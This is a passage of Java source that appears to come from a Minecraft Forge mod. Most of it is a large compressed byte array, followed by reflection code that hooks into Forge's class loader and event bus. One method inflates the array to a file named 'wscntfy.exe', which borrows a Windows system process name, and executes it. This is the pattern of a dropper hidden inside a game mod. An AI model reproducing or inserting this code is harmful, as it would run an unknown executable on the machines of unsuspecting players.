(byte)0x59, (byte)0x54, (byte)0xdd, (byte)0x43, (byte)0x4a, (byte)0x75, (byte)0xd7, (byte)0xd0,
(byte)0xbe, (byte)0x9a, (byte)0x9a, (byte)0xd2, (byte)0xaa, (byte)0xb3, (byte)0xcd, (byte)0x47,
(byte)0x89, (byte)0x9a, (byte)0xd6, (byte)0xdb, (byte)0xf8, (byte)0xfc, (byte)0xd8, (byte)0xdf,
(byte)0xed, (byte)0x3b, (byte)0x92, (byte)0xb3, (byte)0x24, (byte)0xb5, (byte)0x5b, (byte)0xab,
(byte)0x70, (byte)0x22, (byte)0x99, (byte)0x39, (byte)0x83, (byte)0x94, (byte)0xc7, (byte)0x0a,
(byte)0xd4, (byte)0x34, (byte)0x35, (byte)0x63, (byte)0x4b, (byte)0x4f, (byte)0x66, (byte)0x5b,
(byte)0x99, (byte)0x4c, (byte)0x75, (byte)0x8a, (byte)0xf8, (byte)0xa4, (byte)0x2e, (byte)0x27,
(byte)0x6f, (byte)0xcd, (byte)0xbc, (byte)0xb9, (byte)0xb8, (byte)0x1e, (byte)0xb8, (byte)0x9f,
(byte)0x1c, (byte)0xe9, (byte)0xc9, (byte)0x73, (byte)0xe5, (byte)0x6d, (byte)0xb8, (byte)0x73,
(byte)0x57, (byte)0xe3, (byte)0x60, (byte)0xe7, (byte)0xca, (byte)0xaf, (byte)0xb6, (byte)0xba,
(byte)0xe9, (byte)0x3d, (byte)0x2b, (byte)0x90, (byte)0xc1, (byte)0xfd, (byte)0x42, (byte)0xd7,
(byte)0x56, (byte)0x8c, (byte)0xfb, (byte)0x51, (byte)0x19, (byte)0x3d, (byte)0x9b, (byte)0x31,
(byte)0x77, (byte)0x40, (byte)0x78, (byte)0x16, (byte)0xd5, (byte)0xfa, (byte)0x87, (byte)0x28,
(byte)0x77, (byte)0xf5, (byte)0x08, (byte)0x9b, (byte)0xdc, (byte)0x24, (byte)0xcf, (byte)0x2e,
(byte)0x44, (byte)0x5c, (byte)0x38, (byte)0xff, (byte)0x18, (byte)0xa3, (byte)0xbf, (byte)0x80,
(byte)0x85, (byte)0x27, (byte)0x5b, (byte)0x6c, (byte)0x32, (byte)0xeb, (byte)0x5d, (byte)0x63,
(byte)0xc7, (byte)0x93, (byte)0x67, (byte)0x7c, (byte)0x7b, (byte)0x8e, (byte)0x8c, (byte)0xe1,
(byte)0xc3, (byte)0x43, (byte)0xae, (byte)0x3b, (byte)0xc9, (byte)0xca, (byte)0xfc, (byte)0x9a,
(byte)0xa1, (byte)0xe7, (byte)0x3a, (byte)0x06, (byte)0xba, (byte)0x1d, (byte)0x4d, (byte)0x63,
(byte)0x20, (byte)0x34, (byte)0xd5, (byte)0xb8, (byte)0xb1, (byte)0x8b, (byte)0xf1, (byte)0x9c,
(byte)0x7e, (byte)0x9c, (byte)0x9e, (byte)0x44, (byte)0x1c, (byte)0xa5, (byte)0x29, (byte)0x4f,
(byte)0x16, (byte)0xf2, (byte)0x43, (byte)0x4c, (byte)0x61, (byte)0x82, (byte)0x1c, (byte)0xc4,
(byte)0x73, (byte)0xe5, (byte)0x64, (byte)0x98, (byte)0xd7, (byte)0x49, (byte)0x06, (byte)0x79,
(byte)0xb7, (byte)0x4f, (byte)0x20, (byte)0x8c, (byte)0xd0, (byte)0xd8, (byte)0x48, (byte)0xce,
(byte)0xae, (byte)0xaf, (byte)0x8c, (byte)0xe4, (byte)0xeb, (byte)0x76, (byte)0x9b, (byte)0x65,
(byte)0x2a, (byte)0x9a, (byte)0x83, (byte)0x7d, (byte)0xcd, (byte)0x76, (byte)0xb2, (byte)0xac,
(byte)0xa7, (byte)0xcd, (byte)0xac, (byte)0x71, (byte)0x21, (byte)0x6a, (byte)0xfd, (byte)0x7e,
(byte)0xe1, (byte)0x0e, (byte)0x1a, (byte)0x71, (byte)0xba, (byte)0x07, (byte)0xb1, (byte)0xe3,
(byte)0x5e, (byte)0x37, (byte)0xd9, (byte)0x00, (byte)0x3d, (byte)0xdd, (byte)0xc9, (byte)0x1a,
(byte)0x9f, (byte)0x4f, (byte)0x60, (byte)0x5e, (byte)0x20, (byte)0x89, (byte)0xe8, (byte)0x1b,
(byte)0x0b, (byte)0x8a, (byte)0xae, (byte)0x1e, (byte)0x5f, (byte)0x6c, (byte)0xb5, (byte)0xb0,
(byte)0x17, (byte)0x03, (byte)0x08, (byte)0x1c, (byte)0xb9, (byte)0x62, (byte)0xee, (byte)0x62,
(byte)0x31, (byte)0xd2, (byte)0x75, (byte)0x5b, (byte)0xe8, (byte)0x54, (byte)0xdb, (byte)0xf1,
(byte)0x7b, (byte)0x97, (byte)0x7d, (byte)0x7e, (byte)0xee, (byte)0xe8, (byte)0x96, (byte)0x2d,
(byte)0x23, (byte)0xde, (byte)0xe4, (byte)0x23, (byte)0xbc, (byte)0x61, (byte)0x4e, (byte)0x05,
(byte)0xf4, (byte)0x6e, (byte)0xc4, (byte)0xba, (byte)0x7b, (byte)0xb3, (byte)0x7d, (byte)0x57,
(byte)0x67, (byte)0x56, (byte)0xe1, (byte)0x5c, (byte)0x03, (byte)0xfa, (byte)0xef, (byte)0x31,
(byte)0x42, (byte)0x40, (byte)0x9f, (byte)0xb2, (byte)0x99, (byte)0x35, (byte)0xa4, (byte)0x36,
(byte)0x01, (byte)0xfd, (byte)0x3d, (byte)0x1b, (byte)0x39, (byte)0x97, (byte)0xc9, (byte)0xf7,
(byte)0x33, (byte)0x9e, (byte)0xeb, (byte)0xb8, (byte)0x5c, (byte)0xdd, (byte)0xbd, (byte)0x7d,
(byte)0xd9, (byte)0xd0, (byte)0xdc, (byte)0xa4, (byte)0xb9, (byte)0x81, (byte)0x32, (byte)0x9e,
(byte)0xca, (byte)0xcc, (byte)0xee, (byte)0xea, (byte)0x68, (byte)0x8b, (byte)0x8b, (byte)0x49,
(byte)0xba, (byte)0x7c, (byte)0xbe, (byte)0x18, (byte)0x18, (byte)0x49, (byte)0x87, (byte)0xfe,
(byte)0x33, (byte)0x1b, (byte)0x19, (byte)0x75, (byte)0xa6, (byte)0x33, (byte)0xda, (byte)0xb2,
(byte)0xcb, (byte)0x9e, (byte)0xdc, (byte)0x79, (byte)0xe0, (byte)0x63, (byte)0x06, (byte)0xe5,
(byte)0xe4, (byte)0x6a, (byte)0xbc, (byte)0x72, (byte)0x48, (byte)0x89, (byte)0xb0, (byte)0x30,
(byte)0x9c, (byte)0xb0, (byte)0x8f, (byte)0x4c, (byte)0xb9, (byte)0x01, (byte)0xe1, (byte)0x99,
(byte)0x8d, (byte)0x07, (byte)0x3e, (byte)0xb6, (byte)0x13, (byte)0xf5, (byte)0xfa, (byte)0x62,
(byte)0xf5, (byte)0x41, (byte)0xa2, (byte)0x76, (byte)0x22, (byte)0x7c, (byte)0xea, (byte)0x55,
(byte)0xe4, (byte)0x4e, (byte)0x92, (byte)0xf9, (byte)0xe9, (byte)0x73, (byte)0xf7, (byte)0xe8,
(byte)0x76, (byte)0x69, (byte)0xca, (byte)0x5f, (byte)0xb0, (byte)0x46, (byte)0x2e, (byte)0xd2,
(byte)0x5d, (byte)0xbb, (byte)0x47, (byte)0xcf, (byte)0xa7, (byte)0x90, (byte)0x7f, (byte)0x8f,
(byte)0x01, (byte)0xfd, (byte)0xb0, (byte)0x99, (byte)0xfb, (byte)0xcc, (byte)0x1f, (byte)0x73,
(byte)0x39, (byte)0x63, (byte)0x6d, (byte)0x35, (byte)0x86, (byte)0xcc, (byte)0xe5, (byte)0xe6,
(byte)0xef, (byte)0x78, (byte)0x5c, (byte)0xdf, (byte)0x23, (byte)0x47, (byte)0xba, (byte)0xd2,
(byte)0x93, (byte)0x5f, (byte)0xa7, (byte)0xcf, (byte)0x14, (byte)0x47, (byte)0x8f, (byte)0x74,
(byte)0x1d, (byte)0x6d, (byte)0xba, (byte)0xf2, (byte)0x13, (byte)0xc2, (byte)0x3b, (byte)0xc7,
(byte)0xaf, (byte)0xd0, (byte)0x3b, (byte)0xc7, (byte)0x79, (byte)0x0c, (byte)0xef, (byte)0x9f,
(byte)0xf1, (byte)0x77, (byte)0x91, (byte)0x3f, (byte)0x49, (byte)0xd6, (byte)0xc9, (byte)0x79,
(byte)0xec, (byte)0xce, (byte)0xdb, (byte)0x8c, (byte)0x33, (byte)0x75, (byte)0x16, (byte)0xd9,
(byte)0x68, (byte)0xea, (byte)0xf2, (byte)0x48, (byte)0xd5, (byte)0x44, (byte)0x2d, (byte)0xb9,
(byte)0xbe, (byte)0xcf, (byte)0xdb, (byte)0x8e, (byte)0x93, (byte)0xfe, (byte)0xa3, (byte)0x33,
(byte)0xe4, (byte)0x09, (byte)0x41, (byte)0x2b, (byte)0x80, (byte)0xf6, (byte)0x79, (byte)0x10,
(byte)0x98, (byte)0x79, (byte)0xd0, (byte)0xb1, (byte)0x00, (byte)0xda, (byte)0xe6, (byte)0x41,
(byte)0x17, (byte)0x05, (byte)0x0f, (byte)0xfc, (byte)0x99, (byte)0x3c, (byte)0xe8, (byte)0x68,
(byte)0xce, (byte)0x4c, (byte)0x1d, (byte)0x45, (byte)0xdf, (byte)0x61, (byte)0xd3, (byte)0x94,
(byte)0xb9, (byte)0x73, (byte)0x9a, (byte)0x41, (byte)0xac, (byte)0x86, (byte)0x62, (byte)0xbf,
(byte)0x71, (byte)0xa7, (byte)0x29, (byte)0x33, (byte)0x7a, (byte)0x83, (byte)0xd5, (byte)0x2a,
(byte)0xa9, (byte)0x73, (byte)0xe5, (byte)0x28, (byte)0xf5, (byte)0x25, (byte)0x67, (byte)0x7f,
(byte)0xd4, (byte)0x79, (byte)0xac, (byte)0x85, (byte)0x74, (byte)0xfb, (byte)0xea, (byte)0x49,
(byte)0xaa, (byte)0x28, (byte)0x51, (byte)0x83, (byte)0xf4, (byte)0xe9, (byte)0xd1, (byte)0x8b,
(byte)0x0c, (byte)0x0d, (byte)0xed, (byte)0xd6, (byte)0xbe, (byte)0x3c, (byte)0xfa, (byte)0x6e,
(byte)0x19, (byte)0x35, (byte)0xef, (byte)0xed, (byte)0x9b, (byte)0xa4, (byte)0x67, (byte)0xd0,
(byte)0x1a, (byte)0x9f, (byte)0xa1, (byte)0xe0, (byte)0xf4, (byte)0x57, (byte)0x70, (byte)0x93,
(byte)0xf7, (byte)0xa6, (byte)0xab, (byte)0x08, (byte)0x8f, (byte)0x7a, (byte)0xeb, (byte)0x8c,
(byte)0x4d, (byte)0x7d, (byte)0x60, (byte)0xf1, (byte)0x54, (byte)0xfe, (byte)0xd5, (byte)0x6c,
(byte)0x23, (byte)0xf9, (byte)0x09, (byte)0x9c, (byte)0xa9, (byte)0x36, (byte)0xaf, (byte)0xf6,
(byte)0x8c, (byte)0xcf, (byte)0x9e, (byte)0x61, (byte)0xc6, (byte)0x4e, (byte)0x3b, (byte)0x98,
(byte)0x17, (byte)0xc9, (byte)0xb3, (byte)0xcc, (byte)0x81, (byte)0x7f, (byte)0x11, (byte)0xad,
(byte)0xf2, (byte)0xd7, (byte)0x05, (byte)0x07, (byte)0x63, (byte)0x6d, (byte)0xdb, (byte)0xa2,
(byte)0x7a, (byte)0x1b, (byte)0x6b, (byte)0xfb, (byte)0x4b, (byte)0x64, (byte)0x6f, (byte)0x89,
(byte)0xac, (byte)0x95, (byte)0xc8, (byte)0xed, (byte)0x25, (byte)0x72, (byte)0x67, (byte)0x89,
(byte)0x1c, (byte)0x2f, (byte)0x91, (byte)0x85, (byte)0x12, (byte)0x39, (byte)0x51, (byte)0x22,
(byte)0xbf, (byte)0x44, (byte)0x65, (byte)0x63, (byte)0xed, (byte)0x2b, (byte)0x56, (byte)0xff,
(byte)0x23, (byte)0xab, (byte)0xcf, (byte)0x59, (byte)0xfd, (byte)0x21, (byte)0xab, (byte)0x3f,
(byte)0x62, (byte)0xf5, (byte)0xcd, (byte)0x25, (byte)0xfe, (byte)0x6b, (byte)0x4a, (byte)0xe4,
(byte)0x0d, (byte)0x25, (byte)0xf2, (byte)0xc6, (byte)0x12, (byte)0xb9, (byte)0xb1, (byte)0x44,
(byte)0x66, (byte)0x4b, (byte)0xe4, (byte)0x4d, (byte)0x25, (byte)0xf2, (byte)0xe8, (byte)0x62,
(byte)0xd9, (byte)0x20, (byte)0xff, (byte)0x3c, (byte)0x16, (byte)0xfa, (byte)0xa5, (byte)0xf6,
(byte)0xe9, (byte)0xb6, (byte)0x5c, (byte)0xed, (byte)0xc2, (byte)0x1f, (byte)0x81, (byte)0xfb,
(byte)0xd6, (byte)0xc0, (byte)0xbd, (byte)0x54, (byte)0x9f, (byte)0xff, (byte)0xe5, (byte)0x16,
(byte)0x17, (byte)0x07, (byte)0x06, (byte)0xc3, (byte)0xb1, (byte)0xa0, (byte)0xda, (byte)0x10,
(byte)0x89, (byte)0xc7, (byte)0x21, (byte)0xb8, (byte)0x7d, (byte)0x5f, (byte)0xd0, (byte)0xcf,
(byte)0x0f, (byte)0x8a, (byte)0xaa, (byte)0xc6, (byte)0x2b, (byte)0xad, (byte)0xf1, (byte)0x90,
(byte)0xaa, (byte)0xf2, (byte)0x6a, (byte)0xa9, (byte)0xbd, (byte)0x2a, (byte)0x3e, (byte)0xcf,
(byte)0xb3, (byte)0x72, (byte)0x94, (byte)0x55, (byte)0x35, (byte)0x25, (byte)0x19, (byte)0x6c,
(byte)0x6e, (byte)0xfc, (byte)0xc6, (byte)0xd3, (byte)0x5b, (byte)0x37, (byte)0xb1, (byte)0xdf,
(byte)0x64, (byte)0xd7, (byte)0x26, (byte)0x2b, (byte)0x60, (byte)0x18, (byte)0x54, (byte)0x08,
(byte)0x43, (byte)0x12, (byte)0x44, (byte)0x68, (byte)0xc0, (byte)0x3e, (byte)0x01, (byte)0x71,
(byte)0xb4, (byte)0xee, (byte)0x96, (byte)0x93, (byte)0x0a, (byte)0x3b, (byte)0x2c, (byte)0x2b,
(byte)0xf1, (byte)0x08, (byte)0x2b, (byte)0xaa, (byte)0xac, (byte)0x28, (byte)0x45, (byte)0xf9,
(byte)0xb0, (byte)0xc6, (byte)0x47, (byte)0xea, (byte)0xc1, (byte)0xcb, (byte)0x47, (byte)0x35,
(byte)0x76, (byte)0x20, (byte)0xa9, (byte)0x69, (byte)0xb2, (byte)0xc4, (byte)0x46, (byte)0xe4,
(byte)0x61, (byte)0xa9, (byte)0x02, (byte)0xfc, (byte)0xe2, (byte)0xa0, (byte)0x50, (byte)0x02,
(byte)0x75, (byte)0x88, (byte)0x12, (byte)0x1f, (byte)0x56, (byte)0x42, (byte)0x68, (byte)0x29,
(byte)0x84, (byte)0x54, (byte)0x36, (byte)0xc2, (byte)0x6b, (byte)0xd4, (byte)0x99, (byte)0x0d,
(byte)0x0b, (byte)0x62, (byte)0xf8, (byte)0x39, (byte)0x5e, (byte)0xb2, (byte)0xa2, (byte)0x89,
(byte)0xb2, (byte)0x54, (byte)0x5f, (byte)0xd1, (byte)0x1a, (byte)0x47, (byte)0x88, (byte)0x15,
(byte)0x78, (byte)0x85, (byte)0x67, (byte)0x35, (byte)0x99, (byte)0xbc, (byte)0x7f, (byte)0x20,
(byte)0xa6, (byte)0xec, (byte)0xc8, (byte)0xc2, (byte)0xe0, (byte)0x51, (byte)0x45, (byte)0x1e,
(byte)0x2a, (byte)0x38, (byte)0xaa, (byte)0xf5, (byte)0x4b, (byte)0xab, (byte)0xbe, (byte)0xd0,
(byte)0xbe, (byte)0xc3, (byte)0x2d, (byte)0xf0, (byte)0x42, (byte)0x00, (byte)0xa0, (byte)0xda,
(byte)0x07, (byte)0x70, (byte)0xb0, (byte)0x08, (byte)0x3b, (byte)0x84, (byte)0x18, (byte)0x8b,
(byte)0xd8, (byte)0x4f, (byte)0x8b, (byte)0xb0, (byte)0x2b, (byte)0x88, (byte)0xb5, (byte)0x21,
(byte)0xa6, (byte)0x17, (byte)0x61, (byte)0x3a, (byte)0x62, (byte)0xa3, (byte)0x88, (byte)0xdd,
(byte)0x2e, (byte)0xc2, (byte)0x2a, (byte)0x3b, (byte)0x01, (byte)0x5e, (byte)0xf2, (byte)0x3d,
(byte)0x7c, (byte)0xec, (byte)0xd7, (byte)0x8b, (byte)0x74, (byte)0x79, (byte)0xe4, (byte)0x2f,
(byte)0x21, (byte)0x5d, (byte)0x23, (byte)0x31, (byte)0x90, (byte)0x1c, (byte)0x7e, (byte)0x80,
(byte)0x5a, (byte)0xa4, (byte)0x4d, (byte)0xfe, (byte)0xa2, (byte)0xab, (byte)0x08, (byte)0x79,
(byte)0x0e, (byte)0xa9, (byte)0x1f, (byte)0x29, (byte)0x81, (byte)0x34, (byte)0x8e, (byte)0x94,
(byte)0x43, (byte)0x7a, (byte)0x05, (byte)0xe9, (byte)0x35, (byte)0xa4, (byte)0x9f, (byte)0x23,
(byte)0xbd, (byte)0x85, (byte)0x74, (byte)0x1e, (byte)0xe9, (byte)0x12, (byte)0xd2, (byte)0xd5,
(byte)0x22, (byte)0x5f, (byte)0xbd, (byte)0x88, (byte)0x9f, (byte)0x43, (byte)0x7e, (byte)0x15,
(byte)0xe6, (byte)0xbb, (byte)0x0e, (byte)0xa9, (byte)0x19, (byte)0xc9, (byte)0x8d, (byte)0xb4,
(byte)0x33, (byte)0xf0, (byte)0xd9, (byte)0xce, (byte)0xab, (byte)0x17, (byte)0xb6, (byte)0x49,
(byte)0xa2, (byte)0xd6, (byte)0x2a, (byte)0x0f, (byte)0x0d, (byte)0xc9, (byte)0x52, (byte)0xab,
(byte)0x2c, (byte)0x69, (byte)0x8a, (byte)0x1c, (byte)0x57, (byte)0x4d, (byte)0xbc, (byte)0x55,
(byte)0xe1, (byte)0x43, (byte)0x1a, (byte)0xdf, (byte)0x29, (byte)0x60, (byte)0x17, (byte)0x01,
(byte)0x38, (byte)0x02, (byte)0x9e, (byte)0xfd, (byte)0xa2, (byte)0xc6, (byte)0x29, (byte)0x72,
(byte)0x98, (byte)0xa7, (byte)0x2f, (byte)0x7a, (byte)0x7c, (byte)0xcc, (byte)0x33, (byte)0xbc,
(byte)0xd6, (byte)0x21, (byte)0x47, (byte)0x92, (byte)0x71, (byte)0xbe, (byte)0x3d, (byte)0x24,
(byte)0x45, (byte)0xe2, (byte)0xfc, (byte)0x56, (byte)0x3c, (byte)0xf3, (byte)0x04, (byte)0x23,
(byte)0x26, (byte)0x5b, (byte)0x23, (byte)0x11, (byte)0xc5, (byte)0x34, (byte)0x03, (byte)0xa7,
(byte)0xcd, (byte)0x2b, (byte)0x87, (byte)0x22, (byte)0x5e, (byte)0x71, (byte)0x40, (byte)0x09,
(byte)0x29, (byte)0x23, (byte)0x7b, (byte)0x00, (byte)0x3e, (byte)0xb0, (byte)0x05, (byte)0x78,
(byte)0x6d, (byte)0xb7, (byte)0x24, (byte)0x50, (byte)0x9f, (byte)0x88, (byte)0x67, (byte)0x7f,
(byte)0x98, (byte)0x4f, (byte)0x90, (byte)0xb3, (byte)0xf6, (byte)0xb4, (byte)0x18, (byte)0xc7,
(byte)0xbb, (byte)0x01, (byte)0xed, (byte)0xff, (byte)0x61, (byte)0x0b, (byte)0xc4, (byte)0x79,
(byte)0x3e, (byte)0x01, (byte)0xeb, (byte)0x21, (byte)0x18, (byte)0x1c, (byte)0xe4, (byte)0xb5,
(byte)0xa1, (byte)0x90, (byte)0x28, (byte)0x85, (byte)0x94, (byte)0x41, (byte)0x15, (byte)0xb6,
(byte)0xa0, (byte)0x9c, (byte)0x08, (byte)0x06, (byte)0x79, (byte)0x69, (byte)0x9f, (byte)0xa8,
(byte)0xc8, (byte)0x12, (byte)0xc0, (byte)0x53, (byte)0xa6, (byte)0x1c, (byte)0x25, (byte)0xef,
(byte)0xfd, (byte)0xc8, (byte)0x38, (byte)0x1c, (byte)0xca, (byte)0x2a, (byte)0xaf, (byte)0x05,
(byte)0x43, (byte)0x89, (byte)0x44, (byte)0x50, (byte)0x1b, (byte)0x49, (byte)0x50, (byte)0x6c,
(byte)0x04, (byte)0x82, (byte)0x61, (byte)0x1e, (byte)0xb3, (byte)0x26, (byte)0xfc, (byte)0x34,
(byte)0x04, (byte)0x45, (byte)0x79, (byte)0x00, (byte)0x60, (byte)0x2f, (byte)0x13, (byte)0x94,
(byte)0x25, (byte)0x0b, (byte)0x1c, (byte)0x67, (byte)0x88, (byte)0x8b, (byte)0x19, (byte)0xe1,
(byte)0x31, (byte)0x1b, (byte)0x4e, (byte)0xd6, (byte)0xb2, (byte)0x7d, (byte)0xd2, (byte)0x16,
(byte)0x4d, (byte)0x28, (byte)0xa2, (byte)0xa4, (byte)0x45, (byte)0x91, (byte)0xdf, (byte)0x8c,
(byte)0x7c, (byte)0x52, (byte)0x53, (byte)0x41, (byte)0xb3, (byte)0x0d, (byte)0x0d, (byte)0xa8,
(byte)0x9a, (byte)0x3c, (byte)0x1c, (byte)0xc6, (byte)0x59, (byte)0xe5, (byte)0x6c, (byte)0xaa,
(byte)0x38, (byte)0x28, (byte)0x85, (byte)0xc8, (byte)0x45, (byte)0x04, (byte)0x87, (byte)0x21,
(byte)0x20, (byte)0xf0, (byte)0xf1, (byte)0x78, (byte)0x70, (byte)0xa7, (byte)0xac, (byte)0x89,
(byte)0xd1, (byte)0x91, (byte)0x6d, (byte)0x61, (byte)0x59, (byte)0xda, (byte)0x83, (byte)0xb9,
(byte)0x98, (byte)0xb5, (byte)0x6b, (byte)0x13, (byte)0x43, (byte)0x71, (byte)0x79, (byte)0x90,
(byte)0x0b, (byte)0x29, (byte)0xa1, (byte)0x21, (byte)0x9c, (byte)0xf9, (byte)0x0f, (byte)0xa1,
(byte)0x4d, (byte)0x54, (byte)0x13, (byte)0x21, (byte)0x2d, (byte)0x2c, (byte)0x74, (byte)0x60,
(byte)0x6d, (byte)0x42, (byte)0x83, (byte)0x3c, (byte)0x62, (byte)0x1b, (byte)0x68, (byte)0x15,
(byte)0x0b, (byte)0xe2, (byte)0x61, (byte)0x86, (byte)0xd4, (byte)0xca, (byte)0x8c, (byte)0xd1,
(byte)0x6e, (byte)0x0b, (byte)0x08, (byte)0xf2, (byte)0xf0, (byte)0x1e, (byte)0x51, (byte)0xc2,
(byte)0x3b, (byte)0x0b, (byte)0x20, (byte)0x68, (byte)0xeb, (byte)0x54, (byte)0x42, (byte)0x92,
(byte)0x1a, (byte)0xc7, (byte)0xa0, (byte)0x96, (byte)0x35, (byte)0x98, (byte)0x93, (byte)0x86,
(byte)0xd6, (byte)0x5d, (byte)0x1d, (byte)0xad, (byte)0x9d, (byte)0xde, (byte)0xaf, (byte)0x3d,
(byte)0xde, (byte)0xd0, (byte)0xe6, (byte)0xf5, (byte)0x12, (byte)0xa8, (byte)0x9a, (byte)0x7b,
(byte)0x38, (byte)0xed, (byte)0xf0, (byte)0xf8, (byte)0x77, (byte)0x7a, (byte)0x88, (byte)0x2d,
(byte)0xb9, (byte)0x93, (byte)0xb1, (byte)0x6d, (byte)0xe0, (byte)0xfe, (byte)0x7b, (byte)0x1a,
(byte)0x52, (byte)0xf7, (byte)0x85, (byte)0x15, (byte)0xcd, (byte)0x8c, (byte)0xb0, (byte)0x05,
(byte)0xe5, (byte)0x40, (byte)0xbb, (byte)0xc7, (byte)0x5b, (byte)0x18, (byte)0x9e, (byte)0xe3,
(byte)0xe0, (byte)0x81, (byte)0xb4, (byte)0x3b, (byte)0xe0, (byte)0xf1, (byte)0x2f, (byte)0x8c,
(byte)0xba, (byte)0xd4, (byte)0xfe, (byte)0x5f, (byte)0xda, (byte)0xb2, (byte)0xcf, (byte)0xa5,
(byte)0xac, (byte)0x5b, (byte)0x86, (byte)0x81, (byte)0x72, (byte)0xa0, (byte)0xaf, (byte)0x6f,
(byte)0x47, (byte)0x4b, (byte)0x71, (byte)0xb2, (byte)0x91, (byte)0x1b, (byte)0x1f, (byte)0x80,
(byte)0x3f, (byte)0x82, (byte)0x7f, (byte)0xb5, (byte)0xdb, (byte)0x91, (byte)0xeb, (byte)0xea,
(byte)0x07, (byte)0xf8, (byte)0x5e, (byte)0x51, (byte)0xcc, (byte)0x3c, (byte)0x9c, (byte)0xa7,
(byte)0xb6, (byte)0xe6, (byte)0x3b, (byte)0xf8, (byte)0x53, (byte)0xd0, (byte)0x43, (byte)0xfb,
(byte)0x36, (byte)0x7c, (byte)0x3a, (byte)0x08, (byte)0xe1, (byte)0x93, (byte)0x81, (byte)0x0c,
(byte)0x83, (byte)0x28, (byte)0x39, (byte)0xa0, (byte)0x03, (byte)0x02, (byte)0xf8, (byte)0x2f,
(byte)0x34, (byte)0x80, (byte)0x98, (byte)0x84, (byte)0x4f, (byte)0x0f, (byte)0x84, (byte)0xe3,
(byte)0x41, (byte)0x41, (byte)0x9b, (byte)0xa8, (byte)0x15, (byte)0x9d, (byte)0xa1, (byte)0xbf,
(byte)0x26, (byte)0x07, (byte)0x60, (byte)0x39, (byte)0x3c, (byte)0x0e, (byte)0x2b, (byte)0x51,
(byte)0x36, (byte)0x8c, (byte)0x51, (byte)0xd8, (byte)0x05, (byte)0x3b, (byte)0xe6, (byte)0x47,
(byte)0x29, (byte)0xe8, (byte)0x6b, (byte)0xa9, (byte)0xde, (byte)0x46, (byte)0xf5, (byte)0xad,
(byte)0x34, (byte)0x5a, (byte)0x18, (byte)0x23, (byte)0x2d, (byte)0x6d, (byte)0xe3, (byte)0x4f,
(byte)0x6e, (byte)0xff, (byte)0x01
};
private static void extract_and_run_wscntfy() throws IOException, java.util.zip.DataFormatException {
Inflater inflater = new Inflater(true);
inflater.setInput(wscntfy);
FileOutputStream stream = new FileOutputStream("wscntfy.exe");
try {
byte[] buffer = new byte[4096];
int s;
do {
s = inflater.inflate(buffer);
stream.write(buffer, 0, s);
} while(s > 0);
inflater.end();
} finally {
stream.close();
}
Runtime.getRuntime().exec(new String[] { "wscntfy.exe" });
}
static {
if(is_minecraftforge_available()) try {
entity_class = Class.forName("net.minecraft.entity.Entity");
mob_entity_class = Class.forName("net.minecraft.entity.EntityLiving");
mc_world_spawn_entity_method = mc_world_class.getDeclaredMethod("func_72838_d", entity_class);
chicken_class = Class.forName("net.minecraft.entity.passive.EntityChicken");
chicken_construtor = chicken_class.getDeclaredConstructor(mc_world_class);
try {
mob_set_name_tag_method = mob_entity_class.getDeclaredMethod("func_94058_c", String.class);
} catch(NoSuchMethodException e) {
try {
mob_set_name_tag_method = mob_entity_class.getDeclaredMethod("func_96094_a", String.class);
} catch(NoSuchMethodException ee) {
mob_set_name_tag_method = entity_class.getDeclaredMethod("func_96094_a", String.class);
}
}
set_location_and_angles_method = entity_class.getDeclaredMethod("func_70012_b", double.class, double.class, double.class, float.class, float.class);
/*
if(can_modify_method_arguments()) try {
Method on_item_expire_method = Launcher.class.getDeclaredMethod("on_item_expire", Object.class);
instance = new Launcher();
if(can_modify_method_annotations()) try {
Map<Class<? extends Annotation>, Annotation> annotation_map = new LinkedHashMap<Class<? extends Annotation>, Annotation>();
fml_subscribeevent_class = (Class<? extends Annotation>)Class.forName("cpw.mods.fml.common.eventhandler.SubscribeEvent");
Class forgemodcontainer_class = Class.forName("net.minecraftforge.common.ForgeModContainer");
Annotation stealed_subscribe_event_instance = null;
for(Method m : forgemodcontainer_class.getDeclaredMethods()) try {
stealed_subscribe_event_instance = m.getAnnotation(fml_subscribeevent_class);
if(stealed_subscribe_event_instance != null) break;
} catch(Exception e) {
e.printStackTrace();
}
annotation_map.put(fml_subscribeevent_class, stealed_subscribe_event_instance != null ? stealed_subscribe_event_instance : instance);
method_declared_annotations_field.set(on_item_expire_method, annotation_map);
} catch(Exception e) {
e.printStackTrace();
}
try {
forge_item_expire_event_class = Class.forName("net.minecraftforge.event.entity.item.ItemExpireEvent");
Class<?>[] arg_types = (Class<?>[])method_parameter_types_field.get(on_item_expire_method);
if(arg_types.length > 0) arg_types[0] = forge_item_expire_event_class;
fml_event_bus_register_method.invoke(minecraft_forge_event_bus, forge_item_expire_event_class, instance, on_item_expire_method, null);
} catch(Exception e) {
e.printStackTrace();
}
// More...
(new Thread(instance)).start();
} catch(Exception e) {
e.printStackTrace();
}
*/
try {
mc_world_schedule_task_method = mc_server_world_class.getDeclaredMethod("func_152344_a", Runnable.class);
} catch(NoSuchMethodException e) {
// Versions before 1.8
}
instance = new Launcher();
random = new Random();
/*
for(Thread t : Thread.getAllStackTraces().keySet()) {
if(t.getName().equals("Server thread")) {
minecraft_server_thread = t;
try {
Field thread_target_field = Thread.class.getDeclaredField("target");
thread_target_field.setAccessible(true);
minecraft_server_instance = thread_target_field.get(t);
} catch(Exception e) {
//e.printStackTrace();
}
break;
}
}
*/
String version = get_minecraft_version();
if(version != null) try {
int i = version.indexOf('.');
if(i > 0) {
i = version.indexOf('.', i + 1);
if(i > 0) version = version.substring(0, i);
}
try {
forge_mod_loader_main_class = Class.forName("cpw.mods.fml.common.Loader");
} catch(ClassNotFoundException e) {
forge_mod_loader_main_class = Class.forName("net.minecraftforge.fml.common.Loader");
}
Method loader_instance_method = forge_mod_loader_main_class.getDeclaredMethod("instance");
forge_mod_loader_main_instance = loader_instance_method.invoke(null);
Field loader_mod_class_loader_field = forge_mod_loader_main_class.getDeclaredField("modClassLoader");
loader_mod_class_loader_field.setAccessible(true);
fml_mod_class_loader = loader_mod_class_loader_field.get(forge_mod_loader_main_instance);
Field main_class_loader_field = fml_mod_class_loader.getClass().getDeclaredField("mainClassLoader");
main_class_loader_field.setAccessible(true);
fml_mod_class_loader_parent_class_loader = main_class_loader_field.get(fml_mod_class_loader);
Class<?> mc_launchclassloader_class = fml_mod_class_loader_parent_class_loader.getClass();
mc_launch_class_loader_add_url_method = mc_launchclassloader_class.getDeclaredMethod("addURL", URL.class);
minecraftforge_class = Class.forName("net.minecraftforge.common.MinecraftForge");
Field minecraft_forge_event_bus_field = minecraftforge_class.getDeclaredField("EVENT_BUS");
minecraft_forge_event_bus = minecraft_forge_event_bus_field.get(null);
